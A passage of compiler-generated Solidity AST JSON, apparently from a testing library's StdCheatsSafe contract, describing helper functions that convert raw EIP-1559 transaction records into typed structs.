memory"}},"id":4458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13041:6:3","memberName":"length","nodeType":"MemberAccess","src":"13034:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4456,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"13021:12:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"},"typeName":{"baseType":{"id":4454,"nodeType":"UserDefinedTypeName","pathNode":{"id":4453,"name":"Tx1559","nameLocations":["13025:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13025:6:3"},"referencedDeclaration":3562,"src":"13025:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4455,"nodeType":"ArrayTypeName","src":"13025:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}}},"id":4459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13021:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"12999:49:3"},{"body":{"id":4481,"nodeType":"Block","src":"13098:68:3","statements":[{"expression":{"id":4479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":4471,"name":"txs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4452,"src":"13112:3:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"id":4473,"indexExpression":{"id":4472,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13116:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"13112:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":4475,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13145:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"id":4477,"indexExpression":{"id":4476,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13152:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13145:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}],"id":4474,"name":"rawToConvertedEIPTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4546,"src":"13121:23:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559_$3526_memory_ptr_$returns$_t_struct$_Tx1559_$3562_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory) pure returns (struct StdCheatsSafe.Tx1559 memory)"}},"id":4478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13121:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"src":"13112:43:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4480,"nodeType":"ExpressionStatement","src":"13112:43:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4467,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4464,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13074:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":4465,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4441,"src":"13078:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"id":4466,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13085:6:3","memberName":"length","nodeType":"MemberAccess","src":"13078:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13074:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4482,"initializationExpression":{"assignments":[4462],"declarations":[{"constant":false,"id":4462,"mutability":"mutable","name":"i","nameLocation":"13071:1:3","nodeType":"VariableDeclaration","scope":4482,"src":"13063:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4461,"name":"uint256","nodeType":"ElementaryTypeName","src":"13063:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4463,"nodeType":"VariableDeclarationStatement","src":"13063:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":4469,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"13093:3:3","subExpression":{"id":4468,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4462,"src":"13093:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4470,"nodeType":"ExpressionStatement","src":"13093:3:3"},"nodeType":"ForStatement","src":"13058:108:3"},{"expression":{"id":4483,"name":"txs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4452,"src":"13182:3:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"functionReturnParameters":4447,"id":4484,"nodeType":"Return","src":"13175:10:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIPTx1559s","nameLocation":"12889:24:3","parameters":{"id":4442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4441,"mutability":"mutable","name":"rawTxs","nameLocation":"12933:6:3","nodeType":"VariableDeclaration","scope":4486,"src":"12914:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":4439,"nodeType":"UserDefinedTypeName","pathNode":{"id":4438,"name":"RawTx1559","nameLocations":["12914:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"12914:9:3"},"referencedDeclaration":3526,"src":"12914:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":4440,"nodeType":"ArrayTypeName","src":"12914:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"src":"12913:27:3"},"returnParameters":{"id":4447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4446,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4486,"src":"12972:15:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4444,"nodeType":"UserDefinedTypeName","pathNode":{"id":4443,"name":"Tx1559","nameLocations":["12972:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"12972:6:3"},"referencedDeclaration":3562,"src":"12972:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4445,"nodeType":"ArrayTypeName","src":"12972:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"src":"12971:17:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4546,"nodeType":"FunctionDefinition","src":"13198:488:3","nodes":[],"body":{"id":4545,"nodeType":"Block","src":"13301:385:3","nodes":[],"statements":[{"assignments":[4497],"declarations":[{"constant":false,"id":4497,"mutability":"mutable","name":"transaction","nameLocation":"13325:11:3","nodeType":"VariableDeclaration","scope":4545,"src":"13311:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4496,"nodeType":"UserDefinedTypeName","pathNode":{"id":4495,"name":"Tx1559","nameLocations":["13311:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13311:6:3"},"referencedDeclaration":3562,"src":"13311:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"id":4498,"nodeType":"VariableDeclarationStatement","src":"13311:25:3"},{"expression":{"id":4504,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4499,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13346:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4501,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13358:9:3","memberName":"arguments","nodeType":"MemberAccess","referencedDeclaration":3548,"src":"13346:21:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4502,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13370:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4503,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13376:9:3","memberName":"arguments","nodeType":"MemberAccess","referencedDeclaration":3512,"src":"13370:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"src":"13346:39:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"id":4505,"nodeType":"ExpressionStatement","src":"13346:39:3"},{"expression":{"id":4511,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4506,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13395:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4508,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13407:12:3","memberName":"contractName","nodeType":"MemberAccess","referencedDeclaration":3552,"src":"13395:24:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4509,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13422:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4510,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13428:12:3","memberName":"contractName","nodeType":"MemberAccess","referencedDeclaration":3516,"src":"13422:18:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13395:45:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4512,"nodeType":"ExpressionStatement","src":"13395:45:3"},{"expression":{"id":4518,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4513,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13450:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4515,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13462:11:3","memberName":"functionSig","nodeType":"MemberAccess","referencedDeclaration":3554,"src":"13450:23:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4516,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13476:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4517,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13482:11:3","memberName":"functionSig","nodeType":"MemberAccess","referencedDeclaration":3518,"src":"13476:17:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13450:43:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4519,"nodeType":"ExpressionStatement","src":"13450:43:3"},{"expression":{"id":4525,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4520,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13503:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4522,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13515:4:3","memberName":"hash","nodeType":"MemberAccess","referencedDeclaration":3556,"src":"13503:16:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4523,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13522:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4524,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13528:4:3","memberName":"hash","nodeType":"MemberAccess","referencedDeclaration":3520,"src":"13522:10:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"13503:29:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4526,"nodeType":"ExpressionStatement","src":"13503:29:3"},{"expression":{"id":4534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4527,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13542:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4529,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13554:8:3","memberName":"txDetail","nodeType":"MemberAccess","referencedDeclaration":3559,"src":"13542:20:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4531,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13593:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4532,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13599:8:3","memberName":"txDetail","nodeType":"MemberAccess","referencedDeclaration":3523,"src":"13593:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}],"id":4530,"name":"rawToConvertedEIP1559Detail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4626,"src":"13565:27:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559Detail_$3545_memory_ptr_$returns$_t_struct$_Tx1559Detail_$3581_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559Detail memory) pure returns (struct StdCheatsSafe.Tx1559Detail memory)"}},"id":4533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13565:43:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"src":"13542:66:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4535,"nodeType":"ExpressionStatement","src":"13542:66:3"},{"expression":{"id":4541,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4536,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13618:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"id":4538,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13630:6:3","memberName":"opcode","nodeType":"MemberAccess","referencedDeclaration":3561,"src":"13618:18:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4539,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4489,"src":"13639:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"id":4540,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13645:6:3","memberName":"opcode","nodeType":"MemberAccess","referencedDeclaration":3525,"src":"13639:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"13618:33:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":4542,"nodeType":"ExpressionStatement","src":"13618:33:3"},{"expression":{"id":4543,"name":"transaction","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4497,"src":"13668:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"functionReturnParameters":4494,"id":4544,"nodeType":"Return","src":"13661:18:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIPTx1559","nameLocation":"13207:23:3","parameters":{"id":4490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4489,"mutability":"mutable","name":"rawTx","nameLocation":"13248:5:3","nodeType":"VariableDeclaration","scope":4546,"src":"13231:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559"},"typeName":{"id":4488,"nodeType":"UserDefinedTypeName","pathNode":{"id":4487,"name":"RawTx1559","nameLocations":["13231:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"13231:9:3"},"referencedDeclaration":3526,"src":"13231:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"visibility":"internal"}],"src":"13230:24:3"},"returnParameters":{"id":4494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4493,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4546,"src":"13286:13:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4492,"nodeType":"UserDefinedTypeName","pathNode":{"id":4491,"name":"Tx1559","nameLocations":["13286:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"13286:6:3"},"referencedDeclaration":3562,"src":"13286:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"src":"13285:15:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4626,"nodeType":"FunctionDefinition","src":"13692:619:3","nodes":[],"body":{"id":4625,"nodeType":"Block","src":"13851:460:3","nodes":[],"statements":[{"assignments":[4557],"declarations":[{"constant":false,"id":4557,"mutability":"mutable","name":"txDetail","nameLocation":"13881:8:3","nodeType":"VariableDeclaration","scope":4625,"src":"13861:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":4556,"nodeType":"UserDefinedTypeName","pathNode":{"id":4555,"name":"Tx1559Detail","nameLocations":["13861:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"13861:12:3"},"referencedDeclaration":3581,"src":"13861:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"}],"id":4558,"nodeType":"VariableDeclarationStatement","src":"13861:28:3"},{"expression":{"id":4564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4559,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13899:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4561,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13908:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3568,"src":"13899:13:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4562,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13915:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4563,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13925:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3532,"src":"13915:14:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"13899:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":4565,"nodeType":"ExpressionStatement","src":"13899:30:3"},{"expression":{"id":4571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4566,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13939:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4568,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13948:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3570,"src":"13939:13:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4569,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13955:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4570,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13965:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3534,"src":"13955:14:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"13939:30:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4572,"nodeType":"ExpressionStatement","src":"13939:30:3"},{"expression":{"id":4578,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4573,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"13979:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4575,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"13988:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3576,"src":"13979:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4576,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"13993:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4577,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14003:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3540,"src":"13993:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"13979:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4579,"nodeType":"ExpressionStatement","src":"13979:26:3"},{"expression":{"id":4587,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4580,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14015:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4582,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14024:5:3","memberName":"nonce","nodeType":"MemberAccess","referencedDeclaration":3574,"src":"14015:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4584,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14045:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4585,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14055:5:3","memberName":"nonce","nodeType":"MemberAccess","referencedDeclaration":3538,"src":"14045:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4583,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14032:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns 